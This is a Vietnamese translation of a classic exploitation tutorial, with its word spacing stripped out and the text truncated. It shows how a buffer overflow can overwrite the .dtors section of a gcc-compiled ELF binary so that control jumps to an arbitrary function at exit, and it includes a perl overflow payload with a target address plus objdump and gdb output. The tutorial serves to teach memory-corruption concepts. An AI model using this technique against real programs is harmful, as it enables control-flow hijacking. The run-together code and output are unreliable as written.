Thông tin tài liệu:
Bài viết này trình bày một cách ngắn gọn một kỹ thuật dùng để chiếm quyền điều khiển và đổi hướng thực thicủa một chương trình C được biên dịch bằng gcc.Người đọc xem như đã quen thuộc với kỹ thuật tràn bộ đệm cơ bản và định dạng ELF.
Nội dung trích xuất từ tài liệu:
Overwriting the .dtors sectionOverwritingthe.dtorssectiontrangnàyđãđượcđọc lầnGiớithiệuBàiviếtnàytrìnhbàymộtcáchngắngọnmộtkỹthuậtdùngđểchiếmquyềnđiềukhiểnvàđổihướngthựcthicủamộtchươngtrìnhCđượcbiêndịchbằnggcc.NgườiđọcxemnhưđãquenthuộcvớikỹthuậttrànbộđệmcơbảnvàđịnhdạngELF.Tổngquangcccungcấpmộtsốkiểuthuộctính(attributes)chohàm,đặcbiệthaitrongsốđólàmchúngtaquantâmlà:cấutử(constructor)vàhuỷtử(destructor).Cácthuộctínhnàyphảiđượclậptrìnhviênmôtảtheocáchtươngtựnhưsau:staticvoidstart(void)__attribute__((constructor));staticvoidstop(void)__attribute__((destructor));Hàmvớithuộctínhconstructorsẽđượcthựcthitrướchàmmain(),trongkhicáchàmđượckhaibáovớithuộctínhdestructorsẽđượcthựcthingaysauhàmmain().KhitạocácfilethựcthidạngELF,đặcđiểmnàysẽđượcthểhiệntronghaivùngkhácnhaulà:.ctorsvà.dtors.Cảhaivùngsẽcócáchsắpxếpnhưsau:0xffffffff...0x00000000LƯUÝ:Nếubạnmuốnbiếttườngtậnvềđiềunày,bạnnênxemmãnguồngcc2.95.2/gcc/collect2.c.Bắtđầutừđây,cómộtsốđiểmcầnquantâm:*.ctorsvà.dtorssẽđượcánhxạ(map)vàokhônggianbộnhớcủatiếntrìnhthựcthivàmặcđịnhlàvùngghiđược.*Cácvùngnàykhôngbịxoákhisửdụnglệnhstrip(1)vớifilethựcthi*Chúngtakhôngquantâmngườiviếtrachươngtrìnhcótạocáchàmlàmcấutửhoặchuỷtửhaykhôngvìcảhaivùngnàycũngđềutồntạivàđượcánhxạvàobộnhớ.KhảosátchitiếtChúngtasẽminhhọanhữnggìđãđềcậpởtrên.$cat>yopta.cstaticvoidstop(void)__attribute__((destructor));intmain(intargc,char*argv[]){printf(start==%p\n,start);printf(stop==%p\n,stop);exit(EXIT_SUCCESS);}voidstart(void){printf(helloworld!\n);}voidstop(void){printf(goodbyeworld!\n);}EOF$gccoyoptayopta.c$./yoptahelloworld!start==0x8048480stop==0x80484a0goodbyeworld!$objdumphyopta...14.data0000000c0804955808049558000005582**2CONTENTS,ALLOC,LOAD,DATA15.eh_frame000000040804956408049564000005642**2CONTENTS,ALLOC,LOAD,DATA16.ctors0000000c0804956808049568000005682**2CONTENTS,ALLOC,LOAD,DATA17.dtors0000000c0804957408049574000005742**2CONTENTS,ALLOC,LOAD,DATA18.got000000240804958008049580000005802**2CONTENTS,ALLOC,LOAD,DATA...$objdumpsj.dtorsyoptayopta:fileformatelf32i386Contentsofsection.dtors:8049574ffffffffa084040800000000............Tathấyđịachỉcủahàmstop()đượclưutrong.dtorsnhưđãđềcậpởtrên.Mụcđíchcủachúngtalàkhaithácchươngtrìnhvìvậytừđâychúngtasẽkhôngquantâmđến.ctorsvìnóthựcsựkhôngcóíchlợigìcả.Chúngtasẽthửmộtchươngtrìnhbìnhthườngkhôngcócáchàmthuộctínhnày(đượckhaibáotườngminh):$cat>bleh.cTốt!.dtorsvẫncònđódùkhôngcóhàmhuỷtửnàođượckhaibáo.Hãyxemnộidungcủanó:$objdumpsj.dtorsblehbleh:fileformatelf32i386Contentsofsection.dtors:804955cffffffff00000000........Chỉcócáctagbắtđầuvàkếtthúc,khôngcóđịachỉhàmnàođượcmôtảởđây.Cóthểthấylàhơikỳquặckhiởtrêntakhaibáobiếnbufvừalàstaticlạivừađượckhởitrị.Bằngcáchnàychúngtasẽlàmbufđượclưutrongvùng.data,rấtgầnvớivùng.dtorstađangnhắmtới.Nhờđóchúngtacóthểđạtđượcmụcđíchdễdàngbằngcáchlàmtrànbộđệmbuf.Đâykhôngphảilàconđườngduynhấtđểghilênvùng.dtors,gầnnhưmọicáchbạncóthểthựchiệnđểghilênkhônggianbộnhớcủatiếntrìnhđềudùngđược(tấncôngbằngđịnhdạngchuỗi,strcpytrựctiếpbằngcáchtrởvềhàmlibc,làmhỏngmallocchunk,...).Cáchđượcchọnsửdụngởđâylàmộtcáchđơngiảnnhằmđểminhhoạ.Mụctiêubâygiờlàlàmthếnàocóthểthựcthiđoạnmãtronghàmbleh()(sẽkhôngbaogiờđượcgọitrongđiềukiệnbìnhthường)bằngcáchtạomộtentrytrong.dtorstrỏđếnnó.Đểđạtđượcđiềuđóchúngtasẽkhôngđụngđếntagbắtđầuvàchỉghiđèlêntagkếtthúc(0x00000000).$objdumpsymsbleh|egreptext.*bleh080484b0lF.text0000001ablehCóthểthấyhàmbleh()cóđịachỉ0x080484b0.Hãybắtđầukhaitháclỗhổng:$./bleh`perleprintAx24;print\xb0\x84\x04\x08;`goffio!Segmentationfault(coredumped)Thửnghiệmđãthànhcôngnhưchúngtamongđợi,nhưngcólẽtốthơnlànênxemxétkỹlưỡngcoredotiếntrìnhtạoravàxemnhữnggìđãbịthayđổi.$gdbblehcoreGNUgdb5.0Copyright2000FreeSoftwareFoundation,Inc.GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouarewelcometochangeitand/ordistributecopiesofitundercertainconditions.Typeshowcopyingtoseetheconditions.ThereisabsolutelynowarrantyforGDB.Typeshowwarrantyfordetails.ThisGDBwasconfiguredasi686pclinuxgnu...Corewasgeneratedby`./blehAAAAAAAAAAAAAAAAAAAAAAAA°.Programterminatedwithsignal11,Segmentationfault.Readingsymbolsfrom/lib/libc.so.6...done.Loadedsymbolsfor/lib/libc.so.6Readingsymbolsfrom/lib/ldlinux.so.2...done.Loadedsymbolsfor/lib/ldlinux.so.2#00x40013ed8in??()(gdb)bt#00x40013ed8in??()#10x8048521in_fini()#20x4003c25ainexit(status=0)atexit.c:57#30x80484a3inmain()#40x400339cbin__libc_start_main(main=0x80484 ...